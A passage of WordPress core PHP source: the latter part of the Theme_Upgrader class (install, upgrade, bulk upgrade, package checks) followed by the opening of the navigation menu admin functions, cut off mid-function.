		$this->strings['parent_theme_install_success'] = __( 'Successfully installed the parent theme, <strong>%1$s %2$s</strong>.' );
		/* translators: %s: Theme name. */
		$this->strings['parent_theme_not_found'] = sprintf( __( '<strong>The parent theme could not be found.</strong> You will need to install the parent theme, %s, before you can use this child theme.' ), '<strong>%s</strong>' );
		/* translators: %s: Theme error. */
		$this->strings['current_theme_has_errors'] = __( 'The active theme has the following error: "%s".' );

		if ( ! empty( $this->skin->overwrite ) ) {
			if ( 'update-theme' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Updating the theme&#8230;' );
				$this->strings['process_failed']     = __( 'Theme update failed.' );
				$this->strings['process_success']    = __( 'Theme updated successfully.' );
			}

			if ( 'downgrade-theme' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Downgrading the theme&#8230;' );
				$this->strings['process_failed']     = __( 'Theme downgrade failed.' );
				$this->strings['process_success']    = __( 'Theme downgraded successfully.' );
			}
		}
	}

	/**
	 * Checks if a child theme is being installed and its parent also needs to be installed.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::install().
	 *
	 * @since 3.4.0
	 *
	 * @param bool  $install_result
	 * @param array $hook_extra
	 * @param array $child_result
	 * @return bool
	 */
	public function check_parent_theme_filter( $install_result, $hook_extra, $child_result ) {
		// Check to see if we need to install a parent theme.
		$theme_info = $this->theme_info();

		if ( ! $theme_info->parent() ) {
			return $install_result;
		}

		$this->skin->feedback( 'parent_theme_search' );

		if ( ! $theme_info->parent()->errors() ) {
			$this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display( 'Name' ), $theme_info->parent()->display( 'Version' ) );
			// We already have the theme, fall through.
			return $install_result;
		}

		// We don't have the parent theme, let's install it.
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme_info->get( 'Template' ),
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

		if ( ! $api || is_wp_error( $api ) ) {
			$this->skin->feedback( 'parent_theme_not_found', $theme_info->get( 'Template' ) );
			// Don't show activate or preview actions after installation.
			add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) );
			return $install_result;
		}

		// Backup required data we're going to override:
		$child_api             = $this->skin->api;
		$child_success_message = $this->strings['process_success'];

		// Override them.
		$this->skin->api = $api;

		$this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];

		$this->skin->feedback( 'parent_theme_prepare_install', $api->name, $api->version );

		add_filter( 'install_theme_complete_actions', '__return_false', 999 ); // Don't show any actions after installing the theme.

		// Install the parent theme.
		$parent_result = $this->run(
			array(
				'package'           => $api->download_link,
				'destination'       => get_theme_root(),
				'clear_destination' => false, // Do not overwrite files.
				'clear_working'     => true,
			)
		);

		if ( is_wp_error( $parent_result ) ) {
			add_filter( 'install_theme_complete_actions', array( $this, 'hide_activate_preview_actions' ) );
		}

		// Start cleaning up after the parent's installation.
		remove_filter( 'install_theme_complete_actions', '__return_false', 999 );

		// Reset child's result and data.
		$this->result                     = $child_result;
		$this->skin->api                  = $child_api;
		$this->strings['process_success'] = $child_success_message;

		return $install_result;
	}

	/**
	 * Don't display the activate and preview actions to the user.
	 *
	 * Hooked to the {@see 'install_theme_complete_actions'} filter by
	 * Theme_Upgrader::check_parent_theme_filter() when installing
	 * a child theme and installing the parent theme fails.
	 *
	 * @since 3.4.0
	 *
	 * @param array $actions Preview actions.
	 * @return array
	 */
	public function hide_activate_preview_actions( $actions ) {
		unset( $actions['activate'], $actions['preview'] );
		return $actions;
	}

	/**
	 * Install a theme package.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string $package The full local path or URI of the package.
	 * @param array  $args {
	 *     Optional. Other arguments for installing a theme package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the updates cache if successful.
	 *                                    Default true.
	 * }
	 *
	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise.
	 */
	public function install( $package, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
			'overwrite_package'  => false, // Do not overwrite files.
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->install_strings();

		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
		add_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ), 10, 3 );

		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_themes() knows about the new theme.
			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $package,
				'destination'       => get_theme_root(),
				'clear_destination' => $parsed_args['overwrite_package'],
				'clear_working'     => true,
				'hook_extra'        => array(
					'type'   => 'theme',
					'action' => 'install',
				),
			)
		);

		remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'check_parent_theme_filter' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		// Refresh the Theme Update information.
		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

		if ( $parsed_args['overwrite_package'] ) {
			/** This action is documented in wp-admin/includes/class-plugin-upgrader.php */
			do_action( 'upgrader_overwrote_package', $package, $this->new_theme_data, 'theme' );
		}

		return true;
	}

	/**
	 * Upgrades a theme.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @param string $theme The theme slug.
	 * @param array  $args {
	 *     Optional. Other arguments for upgrading a theme. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
	 */
	public function upgrade( $theme, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		// Is an update available?
		$current = get_site_transient( 'update_themes' );
		if ( ! isset( $current->response[ $theme ] ) ) {
			$this->skin->before();
			$this->skin->set_result( false );
			$this->skin->error( 'up_to_date' );
			$this->skin->after();
			return false;
		}

		$r = $current->response[ $theme ];

		add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 );
		add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 );
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_themes() knows about the new theme.
			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $r['package'],
				'destination'       => get_theme_root( $theme ),
				'clear_destination' => true,
				'clear_working'     => true,
				'hook_extra'        => array(
					'theme'       => $theme,
					'type'        => 'theme',
					'action'      => 'update',
					'temp_backup' => array(
						'slug' => $theme,
						'src'  => get_theme_root( $theme ),
						'dir'  => 'themes',
					),
				),
			)
		);

		remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
		remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when themes update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		if ( isset( $past_failure_emails[ $theme ] ) ) {
			unset( $past_failure_emails[ $theme ] );
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}

		return true;
	}

	/**
	 * Upgrades several themes at once.
	 *
	 * @since 3.0.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
	 *
	 * @global string $wp_version The WordPress version string.
	 *
	 * @param string[] $themes Array of the theme slugs.
	 * @param array    $args {
	 *     Optional. Other arguments for upgrading several themes at once. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
	 *                                    Default true.
	 * }
	 * @return array[]|false An array of results, or false if unable to connect to the filesystem.
	 */
	public function bulk_upgrade( $themes, $args = array() ) {
		global $wp_version;

		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->bulk = true;
		$this->upgrade_strings();

		$current = get_site_transient( 'update_themes' );

		add_filter( 'upgrader_pre_install', array( $this, 'current_before' ), 10, 2 );
		add_filter( 'upgrader_post_install', array( $this, 'current_after' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ), 10, 4 );

		$this->skin->header();

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR ) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

		$this->skin->bulk_header();

		/*
		 * Only start maintenance mode if:
		 * - running Multisite and there are one or more themes specified, OR
		 * - a theme with an update available is currently in use.
		 * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
		 */
		$maintenance = ( is_multisite() && ! empty( $themes ) );
		foreach ( $themes as $theme ) {
			$maintenance = $maintenance || get_stylesheet() === $theme || get_template() === $theme;
		}
		if ( $maintenance ) {
			$this->maintenance_mode( true );
		}

		$results = array();

		$this->update_count   = count( $themes );
		$this->update_current = 0;
		foreach ( $themes as $theme ) {
			++$this->update_current;

			$this->skin->theme_info = $this->theme_info( $theme );

			if ( ! isset( $current->response[ $theme ] ) ) {
				$this->skin->set_result( true );
				$this->skin->before();
				$this->skin->feedback( 'up_to_date' );
				$this->skin->after();
				$results[ $theme ] = true;
				continue;
			}

			// Get the URL to the zip file.
			$r = $current->response[ $theme ];

			if ( isset( $r['requires'] ) && ! is_wp_version_compatible( $r['requires'] ) ) {
				$result = new WP_Error(
					'incompatible_wp_required_version',
					sprintf(
						/* translators: 1: Current WordPress version, 2: WordPress version required by the new theme version. */
						__( 'Your WordPress version is %1$s, however the new theme version requires %2$s.' ),
						$wp_version,
						$r['requires']
					)
				);

				$this->skin->before( $result );
				$this->skin->error( $result );
				$this->skin->after();
			} elseif ( isset( $r['requires_php'] ) && ! is_php_version_compatible( $r['requires_php'] ) ) {
				$result = new WP_Error(
					'incompatible_php_required_version',
					sprintf(
						/* translators: 1: Current PHP version, 2: PHP version required by the new theme version. */
						__( 'The PHP version on your server is %1$s, however the new theme version requires %2$s.' ),
						PHP_VERSION,
						$r['requires_php']
					)
				);

				$this->skin->before( $result );
				$this->skin->error( $result );
				$this->skin->after();
			} else {
				add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
				$result = $this->run(
					array(
						'package'           => $r['package'],
						'destination'       => get_theme_root( $theme ),
						'clear_destination' => true,
						'clear_working'     => true,
						'is_multi'          => true,
						'hook_extra'        => array(
							'theme'       => $theme,
							'temp_backup' => array(
								'slug' => $theme,
								'src'  => get_theme_root( $theme ),
								'dir'  => 'themes',
							),
						),
					)
				);
				remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
			}

			$results[ $theme ] = $result;

			// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}
		} // End foreach $themes.

		$this->maintenance_mode( false );

		// Refresh the Theme Update information.
		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action' => 'update',
				'type'   => 'theme',
				'bulk'   => true,
				'themes' => $themes,
			)
		);

		$this->skin->bulk_footer();

		$this->skin->footer();

		// Cleanup our hooks, in case something else does an upgrade on this connection.
		remove_filter( 'upgrader_pre_install', array( $this, 'current_before' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'current_after' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_theme' ) );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when themes update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		foreach ( $results as $theme => $result ) {
			// Maintain last failure notification when themes failed to update manually.
			if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $theme ] ) ) {
				continue;
			}

			unset( $past_failure_emails[ $theme ] );
		}

		update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );

		return $results;
	}

	/**
	 * Checks that the package source contains a valid theme.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by Theme_Upgrader::install().
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 * @global string             $wp_version    The WordPress version string.
	 *
	 * @param string $source The path to the downloaded package source.
	 * @return string|WP_Error The source as passed, or a WP_Error object on failure.
	 */
	public function check_package( $source ) {
		global $wp_filesystem, $wp_version;

		$this->new_theme_data = array();

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		// Check that the folder contains a valid theme.
		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source );
		if ( ! is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation.
			return $source;
		}

		// A proper archive should have a style.css file in the single subdirectory.
		if ( ! file_exists( $working_directory . 'style.css' ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_style',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: %s: style.css */
					__( 'The theme is missing the %s stylesheet.' ),
					'<code>style.css</code>'
				)
			);
		}

		// All these headers are needed on Theme_Installer_Skin::do_overwrite().
		$info = get_file_data(
			$working_directory . 'style.css',
			array(
				'Name'        => 'Theme Name',
				'Version'     => 'Version',
				'Author'      => 'Author',
				'Template'    => 'Template',
				'RequiresWP'  => 'Requires at least',
				'RequiresPHP' => 'Requires PHP',
			)
		);

		if ( empty( $info['Name'] ) ) {
			return new WP_Error(
				'incompatible_archive_theme_no_name',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: %s: style.css */
					__( 'The %s stylesheet does not contain a valid theme header.' ),
					'<code>style.css</code>'
				)
			);
		}

		/*
		 * Parent themes must contain an index file:
		 * - classic themes require /index.php
		 * - block themes require /templates/index.html or block-templates/index.html (deprecated 5.9.0).
		 */
		if (
			empty( $info['Template'] ) &&
			! file_exists( $working_directory . 'index.php' ) &&
			! file_exists( $working_directory . 'templates/index.html' ) &&
			! file_exists( $working_directory . 'block-templates/index.html' )
		) {
			return new WP_Error(
				'incompatible_archive_theme_no_index',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: 1: templates/index.html, 2: index.php, 3: Documentation URL, 4: Template, 5: style.css */
					__( 'Template is missing. Standalone themes need to have a %1$s or %2$s template file. <a href="%3$s">Child themes</a> need to have a %4$s header in the %5$s stylesheet.' ),
					'<code>templates/index.html</code>',
					'<code>index.php</code>',
					__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
					'<code>Template</code>',
					'<code>style.css</code>'
				)
			);
		}

		$requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null;
		$requires_wp  = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded theme. */
				__( 'The PHP version on your server is %1$s, however the uploaded theme requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error );
		}
		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
				__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
				$wp_version,
				$requires_wp
			);

			return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error );
		}

		$this->new_theme_data = $info;

		return $source;
	}

	/**
	 * Turns on maintenance mode before attempting to upgrade the active theme.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Theme_Upgrader::upgrade() and
	 * Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @param bool|WP_Error $response The installation response before the installation has started.
	 * @param array         $theme    Theme arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function current_before( $response, $theme ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$theme = isset( $theme['theme'] ) ? $theme['theme'] : '';

		// Only run if active theme.
		if ( get_stylesheet() !== $theme ) {
			return $response;
		}

		// Change to maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( true );
		}

		return $response;
	}

	/**
	 * Turns off maintenance mode after upgrading the active theme.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::upgrade()
	 * and Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @param bool|WP_Error $response The installation response after the installation has finished.
	 * @param array         $theme    Theme arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function current_after( $response, $theme ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$theme = isset( $theme['theme'] ) ? $theme['theme'] : '';

		// Only run if active theme.
		if ( get_stylesheet() !== $theme ) {
			return $response;
		}

		// Ensure stylesheet name hasn't changed after the upgrade:
		if ( get_stylesheet() === $theme && $theme !== $this->result['destination_name'] ) {
			wp_clean_themes_cache();
			$stylesheet = $this->result['destination_name'];
			switch_theme( $stylesheet );
		}

		// Time to remove maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( false );
		}
		return $response;
	}

	/**
	 * Deletes the old theme during an upgrade.
	 *
	 * Hooked to the {@see 'upgrader_clear_destination'} filter by Theme_Upgrader::upgrade()
	 * and Theme_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem Subclass
	 *
	 * @param bool   $removed
	 * @param string $local_destination
	 * @param string $remote_destination
	 * @param array  $theme
	 * @return bool
	 */
	public function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) {
		global $wp_filesystem;

		if ( is_wp_error( $removed ) ) {
			return $removed; // Pass errors through.
		}

		if ( ! isset( $theme['theme'] ) ) {
			return $removed;
		}

		$theme      = $theme['theme'];
		$themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) );
		if ( $wp_filesystem->exists( $themes_dir . $theme ) ) {
			if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Gets the WP_Theme object for a theme.
	 *
	 * @since 2.8.0
	 * @since 3.0.0 The `$theme` argument was added.
	 *
	 * @param string $theme The directory name of the theme. This is optional, and if not supplied,
	 *                      the directory name from the last result will be used.
	 * @return WP_Theme|false The theme's info object, or false `$theme` is not supplied
	 *                        and the last result isn't set.
	 */
	public function theme_info( $theme = null ) {
		if ( empty( $theme ) ) {
			if ( ! empty( $this->result['destination_name'] ) ) {
				$theme = $this->result['destination_name'];
			} else {
				return false;
			}
		}

		$theme = wp_get_theme( $theme );
		$theme->cache_delete();

		return $theme;
	}
}
<?php
/**
 * Core Navigation Menu API
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

/** Walker_Nav_Menu_Edit class */
require_once ABSPATH . 'wp-admin/includes/class-walker-nav-menu-edit.php';

/** Walker_Nav_Menu_Checklist class */
require_once ABSPATH . 'wp-admin/includes/class-walker-nav-menu-checklist.php';

/**
 * Prints the appropriate response to a menu quick search.
 *
 * @since 3.0.0
 *
 * @param array $request The unsanitized request values.
 */
function _wp_ajax_menu_quick_search( $request = array() ) {
	$args            = array();
	$type            = isset( $request['type'] ) ? $request['type'] : '';
	$object_type     = isset( $request['object_type'] ) ? $request['object_type'] : '';
	$query           = isset( $request['q'] ) ? $request['q'] : '';
	$response_format = isset( $request['response-format'] ) ? $request['response-format'] : '';

	if ( ! $response_format || ! in_array( $response_format, array( 'json', 'markup' ), true ) ) {
		$response_format = 'json';
	}

	if ( 'markup' === $response_format ) {
		$args['walker'] = new Walker_Nav_Menu_Checklist();
	}

	if ( 'get-post-item' === $type ) {
		if ( post_type_exists( $object_type ) ) {
			if ( isset( $request['ID'] ) ) {
				$object_id = (int) $request['ID'];

				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( get_post( $object_id ) ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $object_id,
							'post_title' => get_the_title( $object_id ),
							'post_type'  => get_post_type( $object_id ),
						)
					);
					echo "\n";
				}
			}
		} elseif ( taxonomy_exists( $object_type ) ) {
			if ( isset( $request['ID'] ) ) {
				$object_id = (int) $request['ID'];

				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					$post_obj = get_term( $object_id, $object_type );
					echo wp_json_encode(
						array(
							'ID'         => $object_id,
							'post_title' => $post_obj->name,
							'post_type'  => $object_type,
						)
					);
					echo "\n";
				}
			}
		}
	} elseif ( preg_match( '/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches ) ) {
		if ( 'posttype' === $matches[1] && get_post_type_object( $matches[2] ) ) {
			$post_type_obj = _wp_nav_menu_meta_box_object( get_post_type_object( $matches[2] ) );
			$args          = array_merge(
				$args,
				array(
					'no_found_rows'          => true,
					'update_post_meta_cache' => false,
					'update_post_term_cache' => false,
					'posts_per_page'         => 10,
					'post_type'              => $matches[2],
					's'                      => $query,
				)
			);

			if ( isset( $post_type_obj->_default_query ) ) {
				$args = array_merge( $args, (array) $post_type_obj->_default_query );
			}

			$search_results_query = new WP_Query( $args );
			if ( ! $search_results_query->have_posts() ) {
				return;
			}

			while ( $search_results_query->have_posts() ) {
				$post = $search_results_query->next_post();

				if ( 'markup' === $response_format ) {
					$var_by_ref = $post->ID;
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $post->ID,
							'post_title' => get_the_title( $post->ID ),
							'post_type'  => $matches[2],
						)
					);
					echo "\n";
				}
			}
		} elseif ( 'taxonomy' === $matches[1] ) {
			$terms = get_terms(
				array(
					'taxonomy'   => $matches[2],
					'name__like' => $query,
					'number'     => 10,
					'hide_empty' => false,
				)
			);

			if ( empty( $terms ) || is_wp_error( $terms ) ) {
				return;
			}

			foreach ( (array) $terms as $term ) {
				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( $term ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $term->term_id,
							'post_title' => $term->name,
							'post_type'  => $matches[2],
						)
					);
					echo "\n";
				}
			}
		}
	}
}

/**
 * Register nav menu meta boxes and advanced menu items.
 *
 * @since 3.0.0
 */
function wp_nav_menu_setup() {
	// Register meta boxes.
	wp_nav_menu_post_type_meta_boxes();
	add_meta_box(
		'add-custom-links',
		__( 'Custom Links' ),
		'wp_nav_menu_item_link_meta_box',
		'nav-menus',
		'side',
		'default'
	);
	wp_nav_menu_taxonomy_meta_boxes();

	// Register advanced menu items (columns).
	add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

	// If first time editing, disable advanced items by default.
	if ( false === get_user_option( 'managenav-menuscolumnshidden' ) ) {
		$user = wp_get_current_user();
		update_user_meta(
			$user->ID,
			'managenav-menuscolumnshidden',
			array(
				0 => 'link-target',
				1 => 'css-classes',
				2 => 'xfn',
				3 => 'description',
				4 => 'title-attribute',
			)
		);
	}
}

/**
 * Limit the amount of meta boxes to pages, posts, links, and categories for first time users.
 *
 * @since 3.0.0
 *
 * @global array $wp_meta_boxes
 */
function wp_initial_nav_menu_meta_boxes() {
	global $wp_meta_boxes;

	if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array( $wp_meta_boxes ) ) {
		return;
	}

	$initial_meta_boxes = array( 'add-post-type-page', 'add-post-type-post', 'add-custom-links', 'add-category' );
	$hidden_meta_boxes  = array();

	foreach ( array_keys( $wp_meta_boxes['nav-menus'] ) as $context ) {
		foreach ( array_keys( $wp_meta_boxes['nav-menus'][ $context ] ) as $priority ) {
			foreach ( $wp_meta_boxes['nav-menus'][ $context ][ $priority ] as $box ) {
				if ( in_array( $box['id'], $initial_meta_boxes, true ) ) {
					unset( $box['id'] );
				} else {
					$hidden_meta_boxes[] = $box['id'];
				}
			}
		}
	}

	$user = wp_get_current_user();
	update_user_meta( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes );
}

/**
 * Creates meta boxes for any post type menu item..
 *
 * @since 3.0.0
 */
function wp_nav_menu_post_type_meta_boxes() {
	$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' );

	if ( ! $post_types ) {
		return;
	}

	foreach ( $post_types as $post_type ) {
		/**
		 * Filters whether a menu items meta box will be added for the current
		 * object type.
		 *
		 * If a falsey value is returned instead of an object, the menu items
		 * meta box for the current meta box object will not be added.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Post_Type|false $post_type The current object to add a menu items
		 *                                      meta box for.
		 */
		$post_type = apply_filters( 'nav_menu_meta_box_object', $post_type );

		if ( $post_type ) {
			$id = $post_type->name;
			// Give pages a higher priority.
			$priority = ( 'page' === $post_type->name ? 'core' : 'default' );
			add_meta_box(
				"add-post-type-{$id}",
				$post_type->labels->name,
				'wp_nav_menu_item_post_type_meta_box',
				'nav-menus',
				'side',
				$priority,
				$post_type
			);
		}
	}
}

/**
 * Creates meta boxes for any taxonomy menu item.
 *
 * @since 3.0.0
 */
function wp_nav_menu_taxonomy_meta_boxes() {
	$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' );

	if ( ! $taxonomies ) {
		return;
	}

	foreach ( $taxonomies as $tax ) {
		/** This filter is documented in wp-admin/includes/nav-menu.php */
		$tax = apply_filters( 'nav_menu_meta_box_object', $tax );

		if ( $tax ) {
			$id = $tax->name;
			add_meta_box(
				"add-{$id}",
				$tax->labels->name,
				'wp_nav_menu_item_taxonomy_meta_box',
				'nav-menus',
				'side',
				'default',
				$tax
			);
		}
	}
}

/**
 * Check whether to disable the Menu Locations meta box submit button and inputs.
 *
 * @since 3.6.0
 * @since 5.3.1 The `$display` parameter was added.
 *
 * @global bool $one_theme_location_no_menus to determine if no menus exist
 *
 * @param int|string $nav_menu_selected_id ID, name, or slug of the currently selected menu.
 * @param bool       $display              Whether to display or just return the string.
 * @return string|false Disabled attribute if at least one menu exists, false if not.
 */
function wp_nav_menu_disabled_check( $nav_menu_selected_id, $display = true ) {
	global $one_theme_location_no_menus;

	if ( $one_theme_location_no_menus ) {
		return false;
	}

	return disabled( $nav_menu_selected_id, 0, $display );
}

/**
 * Displays a meta box for the custom links menu item.
 *
 * @since 3.0.0
 *
 * @global int        $_nav_menu_placeholder
 * @global int|string $nav_menu_selected_id
 */
function wp_nav_menu_item_link_meta_box() {
	global $_nav_menu_placeholder, $nav_menu_selected_id;

	$_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1;

	?>
	<div class="customlinkdiv" id="customlinkdiv">
		<input type="hidden" value="custom" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-type]" />
		<p id="menu-item-url-wrap" class="wp-clearfix">
			<label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
			<input id="custom-menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-url]"
				type="text"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
				class="code menu-item-textbox form-required" placeholder="https://"
			/>
		</p>

		<p id="menu-item-name-wrap" class="wp-clearfix">
			<label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
			<input id="custom-menu-item-name" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-title]"
				type="text"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
				class="regular-text menu-item-textbox"
			/>
		</p>

		<p class="button-controls wp-clearfix">
			<span class="add-to-menu">
				<input id="submit-customlinkdiv" name="add-custom-menu-item"
					type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>"
				/>
				<span class="spinner"></span>
			</span>
		</p>

	</div><!-- /.customlinkdiv -->
	<?php
}

/**
 * Displays a meta box for a post type menu item.
 *
 * @since 3.0.0
 *
 * @global int        $_nav_menu_placeholder
 * @global int|string $nav_menu_selected_id
 *
 * @param string $data_object Not used.
 * @param array  $box {
 *     Post type menu item meta box arguments.
 *
 *     @type string       $id       Meta box 'id' attribute.
 *     @type string       $title    Meta box title.
 *     @type callable     $callback Meta box display callback.
 *     @type WP_Post_Type $args     Extra meta box arguments (the post type object for this meta box).
 * }
 */
function wp_nav_menu_item_post_type_meta_box( $data_object, $box ) {
	global $_nav_menu_placeholder, $nav_menu_selected_id;

	$post_type_name = $box['args']->name;
	$post_type      = get_post_type_object( $post_type_name );
	$tab_name       = $post_type_name . '-tab';

	// Paginate browsing for large numbers of post objects.
	$per_page = 50;
